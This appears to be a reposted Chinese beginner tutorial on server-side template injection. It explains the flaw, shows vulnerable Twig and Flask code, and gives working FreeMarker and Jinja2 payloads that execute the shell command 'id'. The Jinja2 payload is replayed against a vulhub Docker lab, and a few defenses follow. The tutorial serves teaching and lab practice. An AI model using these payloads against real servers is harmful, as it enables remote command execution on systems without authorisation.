IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> SSTI漏洞初手入门 -> 正文阅读

[PHP知识库]SSTI漏洞初手入门

目录

0x01 什么是SSTI

0x02 漏洞存在位置

0x03 漏洞如何发掘检测

0x04 漏洞复现

0X05 防御方法?


0x01 什么是SSTI

????????SSTI,即服务器端模板注入(Server-Side Template Injection)。攻击者在服务器输入语句,服务端将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容,从而导致信息泄露、代码执行、GetShell等问题。

补充:

????????1)模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。

????????2)模板注入请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是。

0x02 漏洞存在位置

常见的模板引擎:

1、php 常用的
--Smarty
	Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛
--Twig
	Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
--Blade
    Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
			
2、Java 常用的
--JSP
    这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典
--FreeMarker
    FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
--Velocity
    Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
			
3、Python 常用的
--Jinja2
    flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎
--django
    django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
--tornado
    tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

SSTI 产生实例:

1)PHP 实例

<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
			
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");   // 将用户输入作为模版内容的一部分
echo $output;

开发者将用户的输入直接放在要渲染的字符串中了,? {}括号实际上只是为了区分变量和字符串常量而已。我们输入{{xxx}}就非常的符合模板的规则,模板引擎未经思考就给解析了,然后服务器就无了。

2)Python 实例

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
    {%% block body %%}
    <div class="center-content error">
    <h1>Oops! That page doesn't exist.</h1>
    <h3>%s</h3>
    </div>
    {%% endblock %%}
    ''' % (request.url)   //使用了一个字符串的格式化来传递一个 url 
    return render_template_string(template), 404  // 用模板的方式去渲染的

?发现持模板引擎支持的语法,我们就能在URL后面跟上{{ 7*7 }},自然而然就能计算出 49 了。

3)JAVA 实例

在2015年的blackhat 大会上曾讲述了Alfresco 的一个 SSTI 漏洞,简单的payload 分析一下。

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

这里面的 ?new() 是其高级内置函数,相当于调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象Execute

结果:uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

0x03 漏洞如何发掘检测

1)如同SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是传递特定 Payload的参数并根据返回的内容来判断是否存在的。每一个模板引擎都有着自己的语法,就如同 SQL 注入中有着不同的数据库类型一样。

2)可按照下面的图进行测试,从而判断出是那个模板引擎,再去找对应的payload:

?3)注意:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤。

4)提供一个大牛写的 SSTI 的检测工具 tplmap?https://github.com/epinna/tplmap?

? ? ?项目中附带有docker环境,可供学习和熟悉 ----------- tplmap

0x04 漏洞复现

用vulhub上的一个环境来复现Flask的SSTI漏洞

1)docker环境搭建

? ? ? ? cd /vulhub-master/flask/ssti

????????docker-compose up -d

2)注入检测

手工检测:

?上述工具检测:

?3)漏洞利用

官方给的漏洞利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
	{% for b in c.__init__.__globals__.values() %}
	{% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
		    {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
    {% endif %}
    {% endfor %}
{% endif %}
{% endfor %}

结果如下:

0X05 防御方法?

1)和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制

2)减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-11 23:46:49  更:2022-01-11 23:47:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 5:16:44-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计